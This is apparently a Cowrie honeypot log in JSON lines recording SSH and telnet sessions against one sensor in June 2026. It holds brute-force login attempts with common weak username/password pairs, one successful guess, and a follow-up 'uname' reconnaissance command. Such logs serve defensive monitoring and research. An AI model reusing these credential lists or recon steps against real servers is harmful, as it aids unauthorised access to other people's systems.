{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.853202Z","src_ip":"91.92.42.133","session":"cdf374d65bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.908121Z","src_ip":"91.92.40.171","session":"217578bd486b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:35.017067Z","src_ip":"91.92.40.171","session":"217578bd486b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:35.688455Z","src_ip":"91.92.40.171","session":"e171e4cc6b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:35.889301Z","src_ip":"91.92.42.133","session":"cdf374d65bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:37.581652Z","src_ip":"91.92.42.133","session":"cdf374d65bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46890,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc56e348bf1","protocol":"ssh","message":"New connection: 91.92.40.171:46890 (159.203.135.109:22) [session: 3cc56e348bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:38.712397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:38.803449Z","src_ip":"91.92.40.171","session":"3cc56e348bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:38.909965Z","src_ip":"91.92.40.171","session":"3cc56e348bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:39.269517Z","src_ip":"91.92.40.171","session":"3cc56e348bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49988,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ccb42629560","protocol":"ssh","message":"New connection: 91.92.42.133:49988 (159.203.135.109:22) [session: 1ccb42629560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:39.627712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:40.270281Z","src_ip":"91.92.42.133","session":"1ccb42629560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:40.272745Z","src_ip":"91.92.42.133","session":"1ccb42629560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:40.378223Z","src_ip":"91.92.40.171","session":"3cc56e348bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:44.482089Z","src_ip":"91.92.42.133","session":"1ccb42629560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46958,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d997b1eaf16","protocol":"ssh","message":"New connection: 91.92.40.171:46958 (159.203.135.109:22) [session: 8d997b1eaf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:44.522996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:44.537474Z","src_ip":"91.92.40.171","session":"8d997b1eaf16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:44.633646Z","src_ip":"91.92.40.171","session":"8d997b1eaf16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:45.054795Z","src_ip":"91.92.40.171","session":"8d997b1eaf16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:46.283105Z","src_ip":"91.92.40.171","session":"8d997b1eaf16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41950,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd27bd15985f","protocol":"ssh","message":"New connection: 91.92.42.133:41950 (159.203.135.109:22) [session: dd27bd15985f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:46.592777Z"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:46.648591Z","src_ip":"91.92.42.133","session":"1ccb42629560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8eae87ba77e","protocol":"telnet","message":"New connection: 128.199.8.54:56226 (159.203.135.109:23) [session: e8eae87ba77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:46.718190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:47.327298Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:47.330638Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:51.877470Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44884,"dst_ip":"159.203.135.109","dst_port":22,"session":"7976eb322388","protocol":"ssh","message":"New connection: 91.92.40.171:44884 (159.203.135.109:22) [session: 7976eb322388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:52.343758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:52.358141Z","src_ip":"91.92.40.171","session":"7976eb322388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:53.390937Z","src_ip":"91.92.40.171","session":"7976eb322388","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:53.691123Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:53.693954Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:54.186134Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:54.191502Z","src_ip":"91.92.42.133","session":"dd27bd15985f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56300,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d05f99223f2","protocol":"ssh","message":"New connection: 91.92.42.133:56300 (159.203.135.109:22) [session: 7d05f99223f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:54.757965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:55.031398Z","src_ip":"91.92.42.133","session":"7d05f99223f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:55.034416Z","src_ip":"91.92.42.133","session":"7d05f99223f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49902,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec33bbc9ac2d","protocol":"ssh","message":"New connection: 91.92.40.171:49902 (159.203.135.109:22) [session: ec33bbc9ac2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:56.172818Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:56.248287Z","src_ip":"91.92.42.133","session":"7d05f99223f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:56.382778Z","src_ip":"91.92.40.171","session":"ec33bbc9ac2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:56.385796Z","src_ip":"91.92.40.171","session":"ec33bbc9ac2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:57.251791Z","src_ip":"91.92.40.171","session":"ec33bbc9ac2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:57.468784Z","src_ip":"91.92.42.133","session":"7d05f99223f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:58.060201Z","src_ip":"91.92.40.171","session":"7976eb322388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:58.516278Z","src_ip":"91.92.40.171","session":"ec33bbc9ac2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:00.251603Z","src_ip":"91.92.40.171","session":"7976eb322388","protocol":"ssh"}
